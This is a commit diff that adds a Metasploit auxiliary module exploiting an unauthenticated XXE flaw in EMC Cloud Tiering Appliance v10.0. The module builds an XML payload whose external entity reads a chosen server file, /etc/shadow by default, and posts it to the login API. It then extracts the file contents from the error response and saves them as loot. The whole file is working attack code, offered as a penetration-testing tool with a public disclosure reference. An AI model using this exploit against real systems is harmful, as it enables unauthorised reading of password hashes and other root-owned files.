Land #3180, EMC Cloud Tiering Appliance Unauthed XXE with root perms

modules/auxiliary/gather/emc_cta_xxe.rb

@@ -0,0 +1,82 @@
+# This module requires Metasploit: http//metasploit.com/download
+##
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read',
+      'Description'    => %q{
+      EMC CTA v10.0 is susceptible to an unauthenticated XXE attack
+      that allows an attacker to read arbitrary files from the file system
+      with the permissions of the root user.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Brandon Perry <bperry.volatile@gmail.com>', #metasploit module
+        ],
+      'References'     =>
+        [
+          ['EDB', '32623']
+        ],
+      'DisclosureDate' => 'Mar 31 2014'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptBool.new('SSL', [true, 'Use SSL', true]),
+        OptString.new('SSLVersion', [true, 'SSL version', 'TLS1']),
+        OptString.new('TARGETURI', [ true, "Base directory path", '/']),
+        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
+      ], self.class)
+  end
+
+  def run
+
+    doctype = Rex::Text.rand_text_alpha(6)
+    element = Rex::Text.rand_text_alpha(6)
+    entity = Rex::Text.rand_text_alpha(6)
+
+    pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
+<!DOCTYPE #{doctype} [
+<!ELEMENT #{element} ANY >
+<!ENTITY #{entity} SYSTEM "file://#{datastore['FILEPATH']}" >]>
+<Request>
+<Username>root</Username>
+<Password>&#{entity};</Password>
+</Request>
+    }
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'api', 'login'),
+      'method' => 'POST',
+      'data' => pay
+    })
+
+    if !res or !res.body
+      fail_with("Server did not respond in an expected way")
+    end
+
+    file = /For input string: "(.*)"/m.match(res.body)
+
+    if !file or file.length < 2
+      fail_with("File was unretrievable. Was it a binary file?")
+    end
+
+    file = file[1]
+
+    path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])
+
+    print_good("File saved to: " + path)
+  end
+end
+